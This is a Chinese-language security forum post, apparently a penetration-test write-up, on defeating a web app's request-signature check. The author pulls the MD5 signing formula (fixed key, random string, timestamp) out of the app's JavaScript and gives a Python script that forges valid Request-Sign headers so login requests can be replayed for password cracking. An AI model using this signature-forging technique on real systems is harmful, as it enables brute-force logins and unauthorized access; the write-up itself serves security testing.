电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 637 人浏览分享

渗透测试过程中的sign签名算法破解

[复制链接]
637 0
1.sign签名算法概述

sign签名算法:通常用于参数签名,防止参数被非法篡改,常见的使用方式是对请求中的重要参数进行保护也可以防止重复
提交请求屏蔽爬虫等,通常sign值得生成方式为token+一定的随机数+时间戳,而后使用某种加密算法进行加密,做为接
口中的一个参数sign来传递,也能够将sign放到请求头中。

2.实战破解

本次调试的目标为最近工作中遇到的渗透测试目标 在是使用brupsuite进行抓包后数据包无法重复使用
在对目标进行密码破解等操作时受到不小的限制。

QQ截图20220707140305.png

登录请求在第一次使用时可以正确发送并返回信息,再次使用时返回包中已经提示 已过期的签名。

QQ截图20220707140348.png

666.png

仔细查看请求头中可以看Request-Key、Request-DeviceCode、Request-Timestamp和Request-Sign四个
字段存在Sign可以推测是有签名验证机制。

665.png

在浏览器中搜索Request-Sign字段,成功在js文件中找到,分析Request-Sign值生成语句n['Request-Sign']
= so.MD5(Fs.requestSignKey + t + r).toString().toUpperCase(),其中的 r 的值为当前时间戳,t 的值为
使用S_(e)函数生成的随机值。

826.png

58.png

在语句上下断点,当程序运行到断点时可以看到requestSignKey的值为一个固定字段,至此Request-Sign值得生成方式
为md5(固定值+随机字符串+当前时间戳),Request-Key值为随机字符串,Request-DeviceCode值为deviceCode固定
字段,Request-Timestamp为当前时间戳+“000”,在调试中还发现后端对于时间戳的验证时差在5秒以内,一旦超过
这个数值范围,请求将做过期失效处理。

56.png

因为对时间戳的验证,后面只能编写的相应python脚本进行测试。

import hashlib
import time
import requests


def timestamp():
    return str(int(time.time())) + "000"


def md5(my_key):
    return hashlib.md5(my_key.encode(encoding='UTF-8')).hexdigest()


def test():
    url = "http://10.10.10.206:8000/system/login/login/USERNAME?username=13612012345&passwo
rd=eld6JpZhn2IHVC%2BioelGzg%3D%3D&type=USERNAME&captcha=48&rand
omStr=29511656081384846"
    t = timestamp()
    # Request-Key 使用的是固定值
    key = "recruit_student@#" + "2yu874pp1k4" + t
    headers = {
        "Request-Key": "2yu874pp1k4",
        "Request-DeviceCode": "deviceCode",
        "Request-Timestamp": t,
        "Request-Sign": md5(key).upper()
    }
    response = requests.get(url, headers=headers)
    print(response.text)


if __name__ == "__main__":
    test()

通过脚本运行结果可以看到Request-Sign值设置前后的效果,签名验证算法可以成功被绕过渗透测
试工作中可以继续进行之后其它方面的安全测试。

33.png

21.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.